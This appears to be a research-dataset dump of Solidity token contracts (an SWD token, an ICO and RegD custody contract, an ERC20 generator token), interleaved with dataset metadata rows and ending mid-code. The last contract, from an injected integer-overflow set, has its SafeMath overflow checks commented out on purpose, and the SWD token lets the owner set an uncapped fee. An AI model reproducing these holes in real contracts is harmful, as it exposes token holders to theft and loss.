function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract SWDToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(address => uint256) public LiquidityAmount;
ITRC20 public _exchangePool;
address public lpPoolAddress;
string private _name = 'Sea world';
string private _symbol = 'SWD';
uint8 private _decimals = 8;
uint256 private _totalSupply = 2100000 * 10**uint256(_decimals);
uint256 public _liquidityFee = 5;
uint256 private _previousLiquidityFee = _liquidityFee;
mapping(address => bool) private _isExcludedFee;
address public feeAddress;
constructor () public {
_isExcludedFee[owner()] = true;
_isExcludedFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][msg.sender];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, msg.sender, currentAllowance.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[msg.sender][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(msg.sender, spender, currentAllowance - subtractedValue);
return true;
}
function excludeFee(address account) public onlyOwner {
_isExcludedFee[account] = true;
}
function setExchangePool(ITRC20 exchangePool,address _lpPoolAddress) public onlyOwner {
_exchangePool = exchangePool;
lpPoolAddress = _lpPoolAddress;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
bool takeFee = false;
if(lpPoolAddress==recipient){
uint256 lpToken= _exchangePool.balanceOf(sender);
if(lpToken==LiquidityAmount[sender]){
if(!_isExcludedFee[sender]){
takeFee = true;
}
takeFee=true;
}else{
LiquidityAmount[sender]=lpToken;
}
}else{
if(lpPoolAddress==sender){
uint256 lpToken= _exchangePool.balanceOf(recipient);
if(lpToken==LiquidityAmount[recipient]){
if(!_isExcludedFee[recipient]){
takeFee = true;
}
takeFee=true;
}else{
LiquidityAmount[recipient]=lpToken;
}
}
}
_tokenTransfer(sender, recipient, amount, takeFee);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee) {
removeAllFee();
}
(uint256 tTransferAmount, uint256 fee) = _getValues(amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(lpPoolAddress==recipient && fee>0) {
_balances[address(feeAddress)] = _balances[address(feeAddress)].add(fee);
emit Transfer(sender, address(feeAddress), fee);
}
emit Transfer(sender, recipient, tTransferAmount);
if(!takeFee){
restoreAllFee();
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateSellFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 3);
}
function _getValues(uint256 tAmount) private view returns (uint256,uint256) {
uint256 fee = calculateSellFee(tAmount);
uint256 tTransferAmount = tAmount.sub(fee);
return (tTransferAmount, fee);
}
function removeAllFee() private {
if(_liquidityFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_liquidityFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
}
function setFee(uint256 fee) public onlyOwner {
_liquidityFee = fee;
}
function setReceiveAddress(address _address) public onlyOwner {
feeAddress = _address;
}
}
| 284,972 | 13,211 |
df605f030efd68d09cab10b29f4a01f1c139da7f25c51acfb2ce356a45c9914c
| 15,905 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x7e50896c30f180255218e0d192d3b8043a4dfedc.sol
| 3,948 | 15,619 |
pragma solidity 0.5.0;
contract HorizonContractBase {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only the owner can call this function.");
_;
}
}
interface ERC20Interface {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address approver, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed approver, address indexed spender, uint256 value);
}
contract ICOToken is ERC20Interface, HorizonContractBase {
using SafeMath for uint256;
modifier onlyKycProvider {
require(msg.sender == regulatorApprovedKycProvider, "Only the KYC Provider can call this function.");
_;
}
modifier onlyIssuer {
require(msg.sender == issuer, "Only the Issuer can call this function.");
_;
}
address public regulatorApprovedKycProvider;
address public issuer;
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply_;
uint256 public rewardPool_;
bool public isIcoComplete;
mapping (address => uint256) public balances;
bytes32[] public kycHashes;
address[] public kycValidated;
mapping (address => mapping (address => uint256)) internal allowanceCollection;
mapping (address => address) public referredBy;
event IcoComplete();
event Burn(address indexed from, uint256 value);
event Mint(address indexed from, uint256 value);
event ReferralRedeemed(address indexed referrer, address indexed referee, uint256 value);
constructor(uint256 totalSupply, string memory _name, string memory _symbol, uint256 _rewardPool) public {
name = _name;
symbol = _symbol;
totalSupply_ = totalSupply * 10 ** uint256(decimals); // Set the total supply of ICO Tokens.
balances[msg.sender] = totalSupply_;
rewardPool_ = _rewardPool * 10 ** uint256(decimals); // Set the total supply of ICO Reward Tokens.
setKycProvider(msg.sender);
setIssuer(msg.sender);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function rewardPool() public onlyOwner view returns (uint256) {
return rewardPool_;
}
function balanceOf(address who) public view returns (uint256 balance) {
return balances[who];
}
function allowance(address _approver, address _spender) public view returns (uint256) {
return allowanceCollection[_approver][_spender];
}
function refer(address referrer, address referee) public onlyOwner {
require(referrer != address(0x0), "Referrer cannot be null");
require(referee != address(0x0), "Referee cannot be null");
require(!isIcoComplete, "Cannot add new referrals after ICO is complete.");
referredBy[referee] = referrer;
}
function transfer(address to, uint256 value) public returns (bool) {
return _transfer(msg.sender, to, value);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= allowanceCollection[from][msg.sender], "Amount to transfer is greater than allowance.");
allowanceCollection[from][msg.sender] = allowanceCollection[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
if(allowanceCollection[msg.sender][_spender] > 0 && _value != 0) {
revert("You cannot set a non-zero allowance to another non-zero, you must zero it first.");
}
allowanceCollection[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function safeApprove(address spender, uint256 value, uint256 oldValue) public returns (bool) {
require(spender != address(0x0), "Cannot approve null address.");
require(oldValue == allowanceCollection[msg.sender][spender], "The expected old value did not match current allowance.");
allowanceCollection[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function setKycHash(bytes32 sha) public onlyOwner {
require(!isIcoComplete, "The ICO phase has ended, you can no longer set KYC hashes.");
kycHashes.push(sha);
}
function kycApproved(address who) public onlyKycProvider {
require(!isIcoComplete, "The ICO phase has ended, you can no longer approve.");
require(who != address(0x0), "Cannot approve a null address.");
kycValidated.push(who);
}
function setKycProvider(address who) public onlyOwner {
regulatorApprovedKycProvider = who;
}
function setIssuer(address who) public onlyOwner {
issuer = who;
}
function getKycHash(uint256 index) public view returns (bytes32) {
return kycHashes[index];
}
function getKycApproved(uint256 index) public view returns (address) {
return kycValidated[index];
}
function awardReferralBonus(address referee, address referrer, uint256 value) private {
uint256 bonus = value / 100;
balances[owner] = balances[owner].sub(bonus);
balances[referrer] = balances[referrer].add(bonus);
rewardPool_ -= bonus;
emit ReferralRedeemed(referee, referrer, bonus);
}
function icoTransfer(address to, uint256 value) public onlyOwner {
require(!isIcoComplete, "ICO is complete, use transfer().");
uint256 toTransfer = (value > (balances[msg.sender] - rewardPool_)) ? (balances[msg.sender] - rewardPool_) : value;
_transfer(msg.sender, to, toTransfer);
address referrer = referredBy[to];
if(referrer != address(0x0)) {
referredBy[to] = address(0x0);
awardReferralBonus(to, referrer, toTransfer);
}
}
function closeIco() public onlyOwner {
require(!isIcoComplete, "The ICO phase has already ended, you cannot close it again.");
require((balances[owner] - rewardPool_) == 0, "Cannot close ICO when a balance remains in the owner account.");
isIcoComplete = true;
delete kycHashes;
delete kycValidated;
emit IcoComplete();
}
function _transfer(address from, address to, uint256 value) internal returns (bool) {
require(from != address(0x0), "Cannot send tokens from null address");
require(to != address(0x0), "Cannot transfer tokens to null");
require(balances[from] >= value, "Insufficient funds");
if(value == 0)
return true;
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
if (to == owner) {
_burn(to, value);
}
return true;
}
function mint(uint256 value) public onlyIssuer {
require(value > 0, "Tokens to mint must be greater than zero");
balances[owner] = balances[owner].add(value);
totalSupply_ = totalSupply_.add(value);
emit Mint(msg.sender, value);
}
function burn(uint256 value) public onlyIssuer {
_burn(owner, value);
}
function _burn(address addressToBurn, uint256 value) private returns (bool success) {
require(value > 0, "Tokens to burn must be greater than zero");
require(balances[addressToBurn] >= value, "Tokens to burn exceeds balance");
balances[addressToBurn] = balances[addressToBurn].sub(value);
totalSupply_ = totalSupply_.sub(value);
emit Burn(msg.sender, value);
return true;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
interface TokenInterface {
function hold(address who, uint256 quantity) external returns(bool);
}
contract RegD is HorizonContractBase {
using SafeMath for uint256;
struct Holding {
uint256 quantity;
uint256 releaseDate;
bool isAffiliate;
}
modifier onlyIssuer {
require(msg.sender == owner, "You must be issuer/owner to execute this function.");
_;
}
modifier onlyTransferAgent {
require(msg.sender == transferAgent, "You must be the Transfer Agent to execute this function.");
_;
}
mapping(address => Holding) public heldTokens;
address public icoContract;
address public tokenContract;
address public transferAgent;
uint256 public expiry = 0;
event TokensHeld(address indexed who, uint256 tokens, uint256 releaseDate);
event TokensReleased(address indexed who, uint256 tokens);
event TokensTransferred(address indexed from, address indexed to, uint256 tokens);
event ReleaseDateChanged(address who, uint256 oldReleaseDate, uint256 newReleaseDate);
event AffiliateStatusChanged(address who, bool isAffiliate);
constructor(address icoContract_, uint256 expiry_) public {
icoContract = icoContract_;
expiry = expiry_;
}
function setTokenContract(address tokenContract_) public onlyIssuer {
tokenContract = tokenContract_;
}
function setTransferAgent(address who) public onlyIssuer {
transferAgent = who;
}
function setExpiry(uint256 expiry_) public onlyIssuer {
expiry = expiry_;
}
function hold(address who, uint256 quantity) public onlyIssuer {
require(who != address(0x0), "The null address cannot own tokens.");
require(quantity != 0, "Quantity must be greater than zero.");
require(!isExistingHolding(who), "Cannot overwrite an existing holding, use a new wallet.");
Holding memory holding = Holding(quantity, block.timestamp+expiry, false);
heldTokens[who] = holding;
emit TokensHeld(who, holding.quantity, holding.releaseDate);
}
function postIcoHold(address who, uint256 quantity, uint256 addedTime) public onlyTransferAgent {
require(who != address(0x0), "The null address cannot own tokens.");
require(quantity != 0, "Quantity must be greater than zero.");
require(!isExistingHolding(who), "Cannot overwrite an existing holding, use a new wallet.");
bool res = ERC20Interface(icoContract).transferFrom(who, address(this), quantity);
require(res, "Unable to complete Post-ICO Custody, token contract transfer failed.");
if(res) {
Holding memory holding = Holding(quantity, block.timestamp+addedTime, false);
heldTokens[who] = holding;
emit TokensHeld(who, holding.quantity, holding.releaseDate);
}
}
function canRelease(address who) public view returns (bool) {
Holding memory holding = heldTokens[who];
if(holding.releaseDate == 0 || holding.quantity == 0)
return false;
return block.timestamp > holding.releaseDate;
}
function release(address who) public onlyTransferAgent returns (bool) {
require(tokenContract != address(0x0), "ERC20 Token contract is null, nowhere to release to.");
Holding memory holding = heldTokens[who];
require(!holding.isAffiliate, "To release tokens for an affiliate use partialRelease().");
if(block.timestamp > holding.releaseDate) {
bool res = TokenInterface(tokenContract).hold(who, holding.quantity);
if(res) {
heldTokens[who] = Holding(0, 0, holding.isAffiliate);
emit TokensReleased(who, holding.quantity);
return true;
}
}
return false;
}
function partialRelease(address who, address tradingWallet, uint256 amount) public onlyTransferAgent returns (bool) {
require(tokenContract != address(0x0), "ERC20 Token contract is null, nowhere to release to.");
require(tradingWallet != address(0x0), "The destination wallet cannot be null.");
require(!isExistingHolding(tradingWallet), "The destination wallet must be a new fresh wallet.");
Holding memory holding = heldTokens[who];
require(holding.isAffiliate, "Only affiliates can use this function; use release() for non-affiliates.");
require(amount <= holding.quantity, "The holding has less than the specified amount of tokens.");
if(block.timestamp > holding.releaseDate) {
bool res = TokenInterface(tokenContract).hold(tradingWallet, amount);
if(res) {
heldTokens[who] = Holding(holding.quantity.sub(amount), holding.releaseDate, holding.isAffiliate);
emit TokensReleased(who, amount);
return true;
}
}
return false;
}
function transfer(address from, address to, uint256 amount) public onlyTransferAgent returns (bool) {
require(to != address(0x0), "Cannot transfer tokens to the null address.");
require(amount > 0, "Cannot transfer zero tokens.");
Holding memory fromHolding = heldTokens[from];
require(fromHolding.quantity >= amount, "Not enough tokens to perform the transfer.");
require(!isExistingHolding(to), "Cannot overwrite an existing holding, use a new wallet.");
heldTokens[from] = Holding(fromHolding.quantity.sub(amount), fromHolding.releaseDate, fromHolding.isAffiliate);
heldTokens[to] = Holding(amount, fromHolding.releaseDate, false);
emit TokensTransferred(from, to, amount);
return true;
}
function addTime(address who, int tSeconds) public onlyTransferAgent returns (bool) {
require(tSeconds != 0, "Time added cannot be zero.");
Holding memory holding = heldTokens[who];
uint256 oldDate = holding.releaseDate;
uint256 newDate = tSeconds < 0 ? holding.releaseDate.sub(uint(-tSeconds)) : holding.releaseDate.add(uint(tSeconds));
heldTokens[who] = Holding(holding.quantity, newDate, holding.isAffiliate);
emit ReleaseDateChanged(who, oldDate, heldTokens[who].releaseDate);
return true;
}
function setAffiliate(address who, bool isAffiliate) public onlyTransferAgent returns (bool) {
require(who != address(0x0), "The null address cannot be used.");
Holding memory holding = heldTokens[who];
require(holding.isAffiliate != isAffiliate, "Attempt to set the same affiliate status that is already set.");
heldTokens[who] = Holding(holding.quantity, holding.releaseDate, isAffiliate);
emit AffiliateStatusChanged(who, isAffiliate);
return true;
}
function isExistingHolding(address who) public view returns (bool) {
Holding memory h = heldTokens[who];
return (h.quantity != 0 || h.releaseDate != 0);
}
}
| 276,788 | 13,212 |
6f1a8de9ba6766542a52b4eb127e4350bf7cd02a330dba8e082ee7a0d7215af7
| 29,541 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x5d66c97f63a561d2f244877566de9aca22a2edc9.sol
| 3,495 | 13,452 |
pragma solidity ^0.5.8;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
contract ERC20Mintable is ERC20, MinterRole {
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Capped.sol
contract ERC20Capped is ERC20Mintable {
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "ERC20Capped: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function _mint(address account, uint256 value) internal {
require(totalSupply().add(value) <= _cap, "ERC20Capped: cap exceeded");
super._mint(account, value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
contract ERC20Burnable is ERC20 {
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: eth-token-recover/contracts/TokenRecover.sol
contract TokenRecover is Ownable {
function recoverERC20(address tokenAddress, uint256 tokenAmount) public onlyOwner {
IERC20(tokenAddress).transfer(owner(), tokenAmount);
}
}
// File: ico-maker/contracts/access/roles/OperatorRole.sol
contract OperatorRole {
using Roles for Roles.Role;
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
Roles.Role private _operators;
constructor() internal {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account) public view returns (bool) {
return _operators.has(account);
}
function addOperator(address account) public onlyOperator {
_addOperator(account);
}
function renounceOperator() public {
_removeOperator(msg.sender);
}
function _addOperator(address account) internal {
_operators.add(account);
emit OperatorAdded(account);
}
function _removeOperator(address account) internal {
_operators.remove(account);
emit OperatorRemoved(account);
}
}
// File: ico-maker/contracts/token/ERC20/BaseERC20Token.sol
contract BaseERC20Token is ERC20Detailed, ERC20Capped, ERC20Burnable, OperatorRole, TokenRecover {
event MintFinished();
event TransferEnabled();
// indicates if minting is finished
bool private _mintingFinished = false;
// indicates if transfer is enabled
bool private _transferEnabled = false;
modifier canMint() {
require(!_mintingFinished);
_;
}
modifier canTransfer(address from) {
require(_transferEnabled || isOperator(from));
_;
}
constructor(string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply)
public
ERC20Detailed(name, symbol, decimals)
ERC20Capped(cap)
{
if (initialSupply > 0) {
_mint(owner(), initialSupply);
}
}
function mintingFinished() public view returns (bool) {
return _mintingFinished;
}
function transferEnabled() public view returns (bool) {
return _transferEnabled;
}
function mint(address to, uint256 value) public canMint returns (bool) {
return super.mint(to, value);
}
function transfer(address to, uint256 value) public canTransfer(msg.sender) returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public canTransfer(from) returns (bool) {
return super.transferFrom(from, to, value);
}
function finishMinting() public onlyOwner canMint {
_mintingFinished = true;
emit MintFinished();
}
function enableTransfer() public onlyOwner {
_transferEnabled = true;
emit TransferEnabled();
}
function removeOperator(address account) public onlyOwner {
_removeOperator(account);
}
function removeMinter(address account) public onlyOwner {
_removeMinter(account);
}
}
// File: contracts/ERC20Token.sol
contract ERC20Token is BaseERC20Token {
string public builtOn = "https://vittominacori.github.io/erc20-generator";
constructor(string memory name,
string memory symbol,
uint8 decimals,
uint256 cap,
uint256 initialSupply)
public
BaseERC20Token(name, symbol, decimals, cap, initialSupply)
{} // solhint-disable-line no-empty-blocks
}
| 147,243 | 13,213 |
eb8a9e3182d819759c50fa1903fc6e32b2f031d2454087faa2c1fedb8e104351
| 26,060 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/integerOverflow/0xa9CDb5e3C911884Ca6D4b32273c219B536Ee9e6A_integerOverflow.sol
| 3,843 | 14,174 |
pragma solidity 0.5.17;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
//require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
